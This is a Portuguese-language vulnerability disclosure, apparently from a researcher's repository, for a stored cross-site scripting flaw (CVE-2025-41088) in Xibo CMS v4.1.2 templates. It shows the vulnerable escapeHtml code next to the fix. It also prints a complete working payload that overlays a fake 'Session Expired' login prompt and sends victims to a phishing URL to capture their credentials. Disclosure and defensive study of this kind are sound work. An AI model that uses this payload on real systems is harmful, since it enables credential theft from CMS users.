marinafabregat/cve-2025-41088Cross-Site Scripting (XSS) Armazenado no Xibo CMS v4.1.2 do Xibo Signage, devido à falta de validação adequada da entrada do usuário.
Descobri uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado no Xibo CMS v4.1.2. Essa vulnerabilidade permite que um atacante autenticado injete scripts maliciosos no aplicativo devido à validação inadequada da entrada fornecida pelo usuário.
O problema reside no recurso 'Templates'. Um atacante pode criar um template contendo um elemento de texto com um payload malicioso. Quando esse template é visualizado por outros usuários, o script é executado no navegador deles, podendo levar ao roubo de dados ou a outras ações maliciosas.
Para explorar a vulnerabilidade, um usuário autenticado deve seguir estes passos:
<script>alert(1337)</script>).Esta seção contém o trecho de código específico do Xibo CMS v4.1.2 que não sanitiza a entrada para o campo 'Text'.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
Em outra linha do mesmo documento.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
Em outro documento.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Esta seção mostra o código corrigido, que inclui mecanismos adequados de sanitização de entrada e codificação de saída para neutralizar scripts maliciosos.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
Em outra linha do mesmo documento.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
Em outro documento.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
O payload armazenado é executado no contexto do navegador da vítima, o que pode ser usado para roubar informações sensíveis, como senhas.
1. Injetando o Payload: O atacante insere o script malicioso em um elemento de texto dentro de um template.
O script que usei é o seguinte:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. Cenário de Ataque: Um ataque comum simula a expiração da sessão para capturar credenciais do usuário. O script sequestra a página e apresenta esse pop-up à vítima.
Esta informação é fornecida apenas para fins educacionais e de pesquisa. NÃO sou responsável por qualquer uso indevido ou dano causado por esta informação.